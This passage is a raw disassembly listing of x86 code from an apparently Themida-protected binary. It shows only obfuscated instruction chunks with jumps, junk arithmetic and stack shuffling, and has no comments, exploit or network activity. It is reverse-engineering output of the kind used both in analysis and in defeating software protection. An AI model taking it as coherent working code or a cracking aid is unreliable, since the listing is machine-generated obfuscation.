loc_56AE94: ; CODE XREF: sub_56755A-51CCj add edx, ecx pop ecx neg edx xor edx, 0C0247A1h and edi, edx jmp loc_563E1A ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C65 loc_56AEA6: ; CODE XREF: sub_566C65-24E2j jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_566C65 ; --------------------------------------------------------------------------- loc_56AEAB: ; CODE XREF: Themida_:005628D1j shr edi, 1 add edi, 13517F8Ah jmp loc_563255 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AEB8: ; CODE XREF: sub_56755A+8533j mov esi, 50BA6AD1h mov eax, 73753590h add eax, esi jmp loc_56E69B ; --------------------------------------------------------------------------- loc_56AEC9: ; CODE XREF: sub_56755A+198j pop eax jmp loc_5685CF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56AECF: ; CODE XREF: Themida_:0056F444j push 2347h mov [esp], ebx jmp loc_56D36F ; --------------------------------------------------------------------------- loc_56AEDC: ; CODE XREF: Themida_:005629FFj mov ebp, ebx pop ebx push ebp push edx mov edx, 3A0505ABh jmp loc_56B7B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AEEB: ; CODE XREF: sub_56755A+64A8j push edi mov edi, 339B4FFFh xor esi, edi mov edi, [esp+1Ah+var_1C+2] add esp, 4 push esi sub esp, 4 mov [esp+1Eh+var_20+2], ebx mov esi, [esp+1Eh+var_20+2] add esp, 4 mov ebx, [esp+1Ah+var_1C+2] add esp, 4 add ebx, 1 xchg ebx, esi xor esi, 20CB15CFh sub esi, 2969591Fh add ebx, esi pop esi jmp loc_5639D6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5706E9 loc_56AF28: ; CODE XREF: sub_5706E9-C9CEj add ebx, 2 xchg ebx, [esp+0] mov esp, [esp+0] mov fs:[edx], ax jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_5706E9 ; --------------------------------------------------------------------------- loc_56AF3A: ; CODE XREF: Themida_:0055B920j add esp, 4 pop ebx jmp loc_5614C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560483 loc_56AF46: ; CODE XREF: sub_560483+Dj dec ebx push esi mov esi, 52FF689Ah neg esi neg esi dec esi sub esi, 534747C0h jmp loc_56287E ; END OF FUNCTION CHUNK FOR sub_560483 ; --------------------------------------------------------------------------- loc_56AF5D: ; CODE XREF: Themida_:0056C690j xor ebp, [esp] pop esp push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] mov esp, [esp] btc [esp], ax pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56AF78: ; CODE XREF: Themida_:00562F4Bj pop esp pop esi or [edi+1Ch], ebp jmp loc_5656B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AF82: ; CODE XREF: sub_56755A+3C8Aj pop esp jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56AF88: ; CODE XREF: sub_56755A+45BAj push [esp+0Eh+var_10+2] pop eax push edi jmp sub_565996 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56AF92: ; CODE XREF: Themida_:00569FBEj push eax push esp pop eax push ecx mov ecx, 4A1B7BF0h sub ecx, 4B524693h or ecx, 217F6235h push edi mov edi, 71627222h jmp loc_5606EC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AFB2: ; CODE XREF: sub_56755A-7AC8j pop ecx push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_56B196 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56AFC3: ; CODE XREF: Themida_:0056E5D8j push 6F3A3810h pop ebp shl ebp, 2 shl ebp, 2 jmp loc_56DD2A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56AFD4: ; CODE XREF: sub_56755A-35EEj mov ebp, 67D4385h sub ebp, 58762C5Ah add ebp, 1604397h or ebp, 67C1360Eh jmp loc_5645AE ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56AFF0: ; CODE XREF: Themida_:0056FB5Cj push 30C846AFh pop ebp push ebp inc dword ptr [esp] pop ebp push eax push edi push 50B34658h pop edi jmp loc_56554B ; --------------------------------------------------------------------------- loc_56B008: ; CODE XREF: Themida_:0056E3B6j xor eax, 95C3C7E7h sub ebp, 4C049CEh sub ebp, eax add ebp, 4C049CEh pop eax jmp loc_56C1B4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_56B021: ; CODE XREF: sub_55FDEF+2B14j add eax, 4 jmp loc_568960 ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- loc_56B029: ; CODE XREF: Themida_:0056282Cj mov ebp, 0F1290833h add ebp, eax pop eax neg ebp push ebx mov ebx, 27034894h inc ebx jmp loc_564A7D ; --------------------------------------------------------------------------- loc_56B03F: ; CODE XREF: Themida_:0056E4A0j pop edx add ecx, edi add ecx, 22B074D4h pop edi push edx mov edx, 585B375Bh push ecx push ebx mov ebx, 6B7600B8h jmp loc_56B741 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B05B: ; CODE XREF: sub_56755A-46B7j pop esp pop [esp+0Ch+var_C] pop esp shr ecx, 2 jmp loc_57078E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56B068: ; CODE XREF: Themida_:0055FEC6j add ebp, 864B2C98h push ebp push edi mov edi, 3E223EF2h sub [esp+4], edi pop edi pop esi jmp loc_5655FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B080: ; CODE XREF: sub_56755A+36F5j mov [esp+24h+var_24], esi mov esi, 4 jmp loc_55E193 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56B08D: ; CODE XREF: Themida_:0056DE1Bj sub eax, ebx pop ebx push eax jmp loc_55E106 ; --------------------------------------------------------------------------- loc_56B096: ; CODE XREF: Themida_:0055F7A8j shl ebp, 4 push edi push edx mov edx, 0A322A77h jmp loc_5658E6 ; --------------------------------------------------------------------------- loc_56B0A5: ; CODE XREF: Themida_:0055C8EBj mov ecx, esp add ecx, 4 push edx mov edx, 4 sub ecx, edx pop edx xchg ecx, [esp] mov esp, [esp] mov [esp], ebp sub esp, 4 mov [esp], ecx push edx jmp loc_5669A0 ; --------------------------------------------------------------------------- loc_56B0CE: ; CODE XREF: Themida_:005658D9j push esp mov ecx, [esp] add esp, 4 add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_55C92D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B0EF: ; CODE XREF: sub_56755A-E2j push [esp+10h+var_10] jmp loc_569EA7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5600E2 loc_56B0F7: ; CODE XREF: sub_5600E2+2910j and eax, ebx mov ebx, [esp+4+var_4] add esp, 4 jmp loc_5680C3 ; END OF FUNCTION CHUNK FOR sub_5600E2 ; --------------------------------------------------------------------------- loc_56B104: ; CODE XREF: Themida_:0055EE45j push esi jmp loc_56E84A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562F50 loc_56B10A: ; CODE XREF: sub_562F50+C855j mov ecx, 4 add eax, ecx pop ecx push ebx mov ebx, 4 add eax, ebx pop ebx xchg eax, [esp+0] pop esp push 2FD7h jmp loc_55D9A6 ; END OF FUNCTION CHUNK FOR sub_562F50 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E55E loc_56B129: ; CODE XREF: sub_56E55E-F619j push [esp+8+var_8] mov ebx, [esp+0Ch+var_C] add esp, 4 add esp, 4 push esi push 1850h mov [esp+0Ch+var_C], esp add [esp+0Ch+var_C], 4 pop esi jmp loc_55DDF5 ; END OF FUNCTION CHUNK FOR sub_56E55E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E75E loc_56B14B: ; CODE XREF: sub_56E75E-4EF6j sub esi, 0F09180Dh xor ebp, esi pop esi or ebp, 3C0624D1h dec ebp add ebp, 53D05F46h and ebp, 475464F3h xor ebp, 57905556h sub esi, ebp pop ebp pop ebp jmp loc_56EF94 ; END OF FUNCTION CHUNK FOR sub_56E75E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B176: ; CODE XREF: sub_56755A+80A9j push dword ptr [edi+eax*4] sub esp, 4 mov [esp+1Ch+var_1C], ecx push ebx mov ebx, 546F2E61h push 73D1h mov [esp+24h+var_24], edx push ebp jmp sub_56F7FC ; --------------------------------------------------------------------------- loc_56B196: ; CODE XREF: sub_56755A+3A64j xor eax, [esp-10h+arg_C] xor [esp-10h+arg_C], eax xor eax, [esp-10h+arg_C] pop esp push 2286h mov [esp-10h+arg_C], ebx mov bh, 0CEh sub dl, bh mov ebx, [esp-10h+arg_C] add esp, 4 sub al, 0BBh sub al, dl jmp loc_5608BD ; --------------------------------------------------------------------------- loc_56B1BE: ; CODE XREF: sub_56755A+18E3j add edx, 965075Ch add edx, ebx jmp loc_56C695 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56B1CB: ; CODE XREF: sub_55CD7B+12AE9j push edx jmp loc_56EA6F ; END OF FUNCTION CHUNK FOR sub_55CD7B ; --------------------------------------------------------------------------- loc_56B1D1: ; CODE XREF: Themida_:00570081j sub edi, 0CA01F8EFh sub eax, edi jmp loc_564050 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B1DE: ; CODE XREF: sub_56755A-A967j xor [esp+14h+var_14], esi xor esi, [esp+14h+var_14] jmp loc_56AF82 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56B1E9: ; CODE XREF: Themida_:00564290j pop edx add ecx, ebp push 394Ah mov [esp], edx mov edx, 7CF322D9h add ecx, 9812D21h add ecx, edx jmp loc_566459 ; --------------------------------------------------------------------------- loc_56B206: ; CODE XREF: Themida_:00568E83j add esp, 4 push esi mov esi, 4 jmp loc_562908 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56EBD2 loc_56B214: ; CODE XREF: sub_56EBD2-FDF9j mov edx, [esp+8+var_8] push edi mov edi, esp add edi, 4 jmp loc_56DF33 ; END OF FUNCTION CHUNK FOR sub_56EBD2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B225: ; CODE XREF: sub_56755A-574Dj push eax mov al, 94h and al, 5Ch not al sub al, 52h jmp loc_560C6E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- push dword ptr [esp] mov eax, [esp] add esp, 4 push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_56D971 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B250: ; CODE XREF: sub_56755A+16j pop eax add ecx, 4 xor ecx, [esp+0Ch+var_C] xor [esp+0Ch+var_C], ecx jmp loc_56D039 ; --------------------------------------------------------------------------- loc_56B25F: ; CODE XREF: sub_56755A-35CCj or bh, cl pop ecx push small 0 sub byte ptr [esp+6+var_8+2], bh mov bh, byte ptr [esp+6+var_8+2] add esp, 2 jmp loc_56749B ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_56B274 proc near ; CODE XREF: sub_56755A-8BC3j ; FUNCTION CHUNK AT 00564D5C SIZE 00000021 BYTES push ebp mov ebp, 6C57472h jmp loc_564D5C sub_56B274 endp ; --------------------------------------------------------------------------- loc_56B27F: ; CODE XREF: Themida_:0055CAAEj jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56B284: ; CODE XREF: Themida_:005604F9j push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] pop esp push edx mov dl, 81h add dl, 55h jmp loc_55D4D9 ; --------------------------------------------------------------------------- loc_56B299: ; CODE XREF: Themida_:0056FB3Fj xor ebx, 0AD50CB23h sub eax, ebx pop ebx mov ebx, [esp] push edi push esp pop edi jmp loc_5654D0 ; --------------------------------------------------------------------------- loc_56B2AD: ; CODE XREF: Themida_:0056EC7Dj pop eax pop ebx pop ebp jmp loc_55D8FA ; --------------------------------------------------------------------------- loc_56B2B5: ; CODE XREF: Themida_:00561F76j mov edx, [esp] add esp, 4 jmp loc_5627A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B2C3: ; CODE XREF: sub_56755A-6C49j push [esp+1Ch+var_1C] pop edx push 5E01h mov [esp+20h+var_20], edx jmp loc_56FD74 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56B2D4: ; CODE XREF: sub_56E89A-18A8j mov ecx, ebp pop ebp add ecx, ebx push edi xor [esp+10h+var_10], 598322B0h jmp loc_55C074 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_56B2E6: ; CODE XREF: Themida_:0055DAD5j mov ebp, 3CE060BAh shr ebp, 7 shl ebp, 3 push 59D4h mov [esp], edi mov edi, 3CE060Ch xor ebp, edi pop edi add eax, ebp jmp loc_570427 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B308: ; CODE XREF: sub_56755A-2F5Cj mov eax, [esp+1Ah+var_1C+2] jmp loc_56AAFD ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F13C loc_56B310: ; CODE XREF: sub_56F13C-6B16j add ecx, 4 xchg ecx, [esp+4+var_4] pop esp xor ecx, ebp jmp loc_565654 ; END OF FUNCTION CHUNK FOR sub_56F13C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B31E: ; CODE XREF: sub_56755A-54D2j add ebx, 4 add ebx, 4 xchg ebx, [esp+14h+var_14] pop esp add ecx, edx jmp loc_5704D7 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56B335: ; CODE XREF: Themida_:0056E759j add ebp, ecx pop ecx add ebp, ebx jmp loc_55B58F ; --------------------------------------------------------------------------- loc_56B33F: ; CODE XREF: Themida_:0056469Cj sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebx jmp loc_55C8EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B35C: ; CODE XREF: sub_56755A+2204j add edi, eax pop eax xchg edi, [esp+24h+var_24] pop esp xor [esp+20h+var_1C], eax mov eax, [esp+20h+var_20] jmp loc_55B9BB ; --------------------------------------------------------------------------- loc_56B36F: ; CODE XREF: sub_56755A-B9CDj or dh, 8Ch not dh shl dh, 8 add dh, 70h sub dh, 0C1h jmp loc_55E07F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F653 loc_56B382: ; CODE XREF: sub_56F653-136Aj shr ch, 5 sub ch, 18h push edx mov dl, 0D5h push cx mov cl, 0BAh xor dl, cl pop cx sub dl, 1Eh shr dl, 2 or dl, 4Ch and dl, 19h sub dl, 0DEh push ebx mov bl, 9Bh or bl, 79h shr bl, 5 or bl, 0ECh xor bl, 86h add dl, bl pop ebx jmp loc_56AA23 ; END OF FUNCTION CHUNK FOR sub_56F653 ; --------------------------------------------------------------------------- loc_56B3B9: ; CODE XREF: Themida_:00563FC2j or ecx, 0AFA4BDFh sub ecx, 40C768BEh jmp loc_56D69E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56B3CA: ; CODE XREF: sub_56F7FC-B5D4j pop ebp and edx, esi push [esp-10h+arg_C] pop esi push 1792h mov [esp-0Ch+arg_8], ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx jmp loc_56ADB7 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_56B3E9: ; CODE XREF: Themida_:0056D6DFj mov [esp], edi push 15ADh jmp loc_5706A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B3F6: ; CODE XREF: sub_56755A+2B2Ej sub [esp+0Ch+var_8], 5A2A4237h push edx mov edx, 28E73520h add [esp+10h+var_8], edx jmp loc_564584 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56B40D: ; CODE XREF: Themida_:00565BA7j push 55793F18h pop esi jmp loc_55B6F4 ; --------------------------------------------------------------------------- loc_56B418: ; CODE XREF: Themida_:00560BC4j sub esp, 4 mov [esp], ecx mov ecx, 45F14401h jmp loc_56759B ; --------------------------------------------------------------------------- mov ax, [esp] push ebp mov ebp, esp push ecx push ebp mov ebp, 79DF49EAh xor ebp, 3F2B1F26h jmp loc_561E12 ; =============== S U B R O U T I N E ======================================= sub_56B444 proc near ; CODE XREF: sub_55E54A+4E00j var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00563733 SIZE 00000021 BYTES push ebx push dword ptr [esp+4] pop ebx pop [esp+4+var_4] mov esp, [esp+0] sub bl, 35h jmp loc_563733 sub_56B444 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643B1 loc_56B458: ; CODE XREF: sub_5643B1+95A6j mov ecx, esi pop esi xor esi, ecx pop ecx pop ebx pop edi and [edi+1Ch], esi mov esi, [esp+0] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp+4+var_4] pop esp jmp loc_561912 ; END OF FUNCTION CHUNK FOR sub_5643B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B47E: ; CODE XREF: sub_56755A-B1E8j add esp, 4 add esp, 4 mov eax, esi push [esp-8+arg_4] mov esi, [esp-4+arg_0] add esp, 4 push ebx mov ebx, esp push esi mov esi, 353430D3h neg esi shl esi, 6 jmp loc_56DEF5 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB7D loc_56B4A5: ; CODE XREF: sub_56CB7D-61BCj mov ecx, esp add ecx, 4 push esi jmp loc_5650AE ; END OF FUNCTION CHUNK FOR sub_56CB7D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B4B3: ; CODE XREF: sub_56755A-997Dj pop ebx push ebp mov ebp, 4CD40B34h jmp loc_55C63C ; --------------------------------------------------------------------------- loc_56B4BF: ; CODE XREF: sub_56755A-5BFFj mov ecx, ebp pop ebp jmp loc_5677FF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56B4C7: ; CODE XREF: Themida_:0056BA85j mov esi, [esp] add esp, 4 add esp, 4 add ebp, edx pop edx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_565052 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56B4E7: ; CODE XREF: sub_56F7FC-4006j mov ecx, [esp-0Ch+arg_8] add esp, 4 push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp-0Ch+arg_8] pop esp mov eax, [esp-10h+arg_C] jmp loc_56CFF7 ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B508: ; CODE XREF: sub_56755A-269Ej push edi mov edi, 27637F00h mov ebx, edi jmp loc_564EFA ; --------------------------------------------------------------------------- loc_56B515: ; CODE XREF: sub_56755A+D96j sub eax, 30E228A4h add eax, ecx add eax, 30E228A4h mov [eax], ebx jmp loc_56A2F6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_56B528: ; CODE XREF: Themida_:005644BCj mov [esp], eax push ebx mov ebx, 2340051Eh push ebx pop eax jmp loc_565157 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56B538: ; CODE XREF: sub_56F7FC-9F57j push ecx mov ecx, 135A3283h jmp loc_56B60B ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_56B543: ; CODE XREF: Themida_:00562F0Cj mov ebx, 0 add ebx, 6C6C5C99h add ebx, ecx jmp loc_561028 ; --------------------------------------------------------------------------- loc_56B555: ; CODE XREF: Themida_:00570457j xor edx, [esp] xor [esp], edx xor edx, [esp] mov esp, [esp] push dword ptr [esp] mov eax, [esp] add esp, 4 push ebx jmp loc_5618F7 ; --------------------------------------------------------------------------- loc_56B570: ; CODE XREF: Themida_:0056EB7Dj push dword ptr [esp] jmp loc_5642AF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B578: ; CODE XREF: sub_56755A+60C0j add esp, 4 push ebx mov ebx, 4 jmp loc_56A748 ; --------------------------------------------------------------------------- loc_56B586: ; CODE XREF: sub_56755A+CC3j pop ebx mov ecx, [esp-12h+arg_C+2] jmp loc_568321 ; --------------------------------------------------------------------------- loc_56B58F: ; CODE XREF: sub_56755A-5610j xor byte ptr [esp+4+var_4], ah jmp loc_55C502 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B62C loc_56B597: ; CODE XREF: sub_56B62C-E368j pop eax sub al, dh jmp loc_561ED0 ; END OF FUNCTION CHUNK FOR sub_56B62C ; --------------------------------------------------------------------------- loc_56B59F: ; CODE XREF: Themida_:0056EA48j pop edx pop dword ptr [esp] mov esp, [esp] push 0D94h mov [esp], edx push 1D6Ch mov [esp], ecx push esp jmp loc_55FD9A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5B3505 loc_56B5BC: ; CODE XREF: sub_5B3505-4E5E4j mov ebx, esp jmp loc_55DDB6 ; END OF FUNCTION CHUNK FOR sub_5B3505 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B5C3: ; CODE XREF: sub_56755A-5652j mov esp, [esp-4+arg_0] jmp loc_5657EA ; --------------------------------------------------------------------------- loc_56B5CB: ; CODE XREF: sub_56755A+882Aj pop ebx push 757Eh jmp loc_56C175 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55CD7B loc_56B5D6: ; CODE XREF: sub_55CD7B+DA74j push [esp+4+var_4] pop edx push edx mov edx, esp add edx, 4 jmp loc_563541 ; END OF FUNCTION CHUNK FOR sub_55CD7B ; =============== S U B R O U T I N E ======================================= sub_56B5E8 proc near ; CODE XREF: sub_56D600-7AB8j var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055FF03 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00563F0B SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00565FC1 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005665E8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00566B3A SIZE 0000000D BYTES ; FUNCTION CHUNK AT 005697A9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056C672 SIZE 0000000F BYTES push ebx push edi mov edi, 47F21A24h push eax jmp loc_56C672 sub_56B5E8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A41 loc_56B5F5: ; CODE XREF: sub_563A41+29j add [ebx], esi pop ebx pop ecx jmp loc_55E4E7 ; END OF FUNCTION CHUNK FOR sub_563A41 ; --------------------------------------------------------------------------- loc_56B5FE: ; CODE XREF: Themida_:0056FD5Ej add esi, eax sub esi, 66A71942h jmp loc_55BA4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56F7FC loc_56B60B: ; CODE XREF: sub_56F7FC-42BEj add edx, ecx pop ecx add edx, edi sub edx, 135A3283h push dword ptr [edx] jmp loc_565C9A ; END OF FUNCTION CHUNK FOR sub_56F7FC ; --------------------------------------------------------------------------- loc_56B61D: ; CODE XREF: Themida_:00569BC9j not ebp add ebp, 0FEE1C8C4h add edx, ebp jmp loc_55E1A1 ; =============== S U B R O U T I N E ======================================= sub_56B62C proc near ; CODE XREF: sub_56755A+10ADj var_E = dword ptr -0Eh var_8 = word ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055C8A3 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0055D2AD SIZE 0000001C BYTES ; FUNCTION CHUNK AT 0055D9FC SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0055DD11 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00561107 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00561390 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00561ED0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00562159 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00564E42 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00565F16 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056A82E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056B597 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056CBB2 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0056D41B SIZE 0000000C BYTES sub esp, 2 mov word ptr [esp+4+var_4], cx jmp loc_561390 sub_56B62C endp ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcl byte ptr [esp], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- loc_56B647: ; CODE XREF: Themida_:0055CC9Dj add ebx, esi jmp loc_5686DA ; --------------------------------------------------------------------------- loc_56B64E: ; CODE XREF: Themida_:0056F078j push 0 sub [esp], ebx pop ebx jmp loc_564488 ; --------------------------------------------------------------------------- loc_56B65C: ; CODE XREF: Themida_:00562F03j add dword ptr [esp], 4 pop esi add esi, 4 push ecx sub esp, 4 mov [esp], ebx sub esp, 4 jmp loc_5656B7 ; --------------------------------------------------------------------------- lodsb push ebx push ecx mov cl, 22h add cl, 11h mov bh, cl pop ecx add bh, 8Ah add al, bh pop ebx sub al, 66h sub al, 0DCh add al, bl sub esp, 4 mov [esp], edx mov dl, 7Dh add dl, 5Fh add al, dl pop edx jmp loc_5649D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_56B6A0: ; CODE XREF: sub_56755A+5481j pop cx jmp loc_56E3CC ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_56B6A7: ; CODE XREF: sub_56E89A-1F09j add ebp, 4 push ebp push [esp+8+var_4] jmp loc_562B15 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_56B6B4: ; CODE XREF: Themida_:0056EE21j mov cl, 0B2h and cl, 0B7h shr cl, 8 neg cl xor cl, 0DEh not cl xor cl, 0E7h sub al, cl pop ecx push ebx mov bh, 9Bh sub bh, 5Bh sub bh, 0AFh sub bh, 3Fh add al, bh pop ebx sub al, bl sub al, 52h push cx push edx mov dh, 50h jmp loc_566A6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563973 loc_56B6E6: ; CODE XREF: sub_563973+503Fj not edx not edx xor edx, 7ACC06DFh jmp loc_564C95 ; END OF FUNCTION CHUNK FOR sub_563973 ; --------------------------------------------------------------------------- loc_56B6F5: ; CODE XREF: Themida_:0055DA5Fj sub esp, 4 mov [esp], edx push eax sub esp, 4 mov [esp], ebx mov ebx, 1918068Ch or ebx, 35AE0353h inc ebx push edx mov edx, 12D92662h jmp loc_56F92A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_56B719: ; CODE XREF: sub_568D4B+18A0j pop esi jmp loc_55BCA1 ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- loc_56B71F: ; CODE XREF: Themida_:0055E0E4j push eax push dword ptr [esp+4] mov eax, [esp] add esp, 4 pop dword ptr [esp] mov esp, [esp] sub esp, 4 mov [esp], ebx jmp loc_55DC90 ; --------------------------------------------------------------------------- loc_56B741: ; CODE XREF: Themida_:0056B056j add ebx, 7DA60D6h mov ecx, ebx jmp loc_562AAB ; --------------------------------------------------------------------------- loc_56B74E: ; CODE XREF: Themida_:0056C5E3j add edx, 6E093416h add edx, 27931FEh xor edx, 78BF3DB1h xor ebx, edx pop edx and ebx, 706F45CDh sub ebx, 47324FAh jmp loc_563944 ; =============== S U B R O U T I N E ======================================= sub_56B774 proc near ; CODE XREF: sub_5673DF-8E2Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055C743 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0055E2E7 SIZE 00000035 BYTES ; FUNCTION CHUNK AT 005609E4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00561CD5 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056329A SIZE 00000006 BYTES ; 